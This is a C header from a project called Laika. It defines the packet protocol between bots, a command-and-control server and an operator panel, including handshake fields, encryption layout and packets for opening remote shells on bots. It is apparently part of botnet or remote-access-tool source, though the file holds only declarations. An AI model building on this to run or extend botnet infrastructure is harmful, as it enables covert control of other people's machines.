Laika/lib/include/lpacket.h

#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H

#include <inttypes.h>

#define LAIKA_MAGIC                 "LAI\x12"
#define LAIKA_MAGICLEN              4

#define LAIKA_MAX_PKTSIZE           4096

#define LAIKA_HOSTNAME_LEN          64
#define LAIKA_IPSTR_LEN             64
#define LAIKA_INET_LEN              22

#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS            16

/*
    first handshake between peer & cnc works as so:
        - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
            inet ip
        - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
        - cnc responds with LAIKAPKT_HANDSHAKE_RES
        - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
            sent

    encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
    {
        LAIKAPKT_ID pktID; -- plain text
        uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
        uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
    }

    any packet ending with *_RES is cnc 2 peer
    any packet ending with *_REQ is peer 2 cnc
    if packet doesn't have either, it can be sent & received by both peer & cnc
*/

enum
{
    /* =======================================[[ Peer ]]======================================== */
    LAIKAPKT_VARPKT,
    /* layout of LAIKAPKT_VARPKT:
     *   LAIKAPKT_SIZE pktSize;
     *   LAIKAPKT_ID pktID;
     */
    LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
    /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
     *   uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
     *   uint8_t majorVer;
     *   uint8_t minorVer;
     *   uint8_t osType;
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
     * nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
     * inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
     */
    LAIKAPKT_HANDSHAKE_RES,
    /* layout of LAIKAPKT_HANDSHAKE_RES:
     *   uint8_t cncEndian;
     */
    LAIKAPKT_PINGPONG,
    /* layout of LAIKAPKT_PINGPONG:
     *   NULL (empty packet)
     */
    LAIKAPKT_SHELL_OPEN,
    /* layout of LAIKAPKT_SHELL_OPEN:
     *   uint32_t id;
     *   uint16_t cols;
     *   uint16_t rows;
     */
    LAIKAPKT_SHELL_CLOSE,
    /* layout of LAIKAPKT_SHELL_CLOSE:
     *   uint32_t id;
     */
    LAIKAPKT_SHELL_DATA,
    /* layout of LAIKAPKT_SHELL_DATA
     *   uint32_t id;
     *   char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
     */
    /* =======================================[[ Auth ]]======================================== */
    LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
                                             there is no response packet */
    /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
     *   uint8_t peerType;
     */
    LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
    /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   char hostname[LAIKA_HOSTNAME_LEN];
     *   char inet[LAIKA_INET_LEN];
     *   char ipStr[LAIKA_IPSTR_LEN];
     *   uint8_t peerType;
     *   uint8_t osType;
     */
    LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
                                          */
    /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint8_t peerType;
     */
    LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
                                              response packet, shell is assumed to be open */
    /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint16_t cols;
     *   uint16_t rows;
     */
    LAIKAPKT_MAXNONE
};

typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;

#ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif

#endif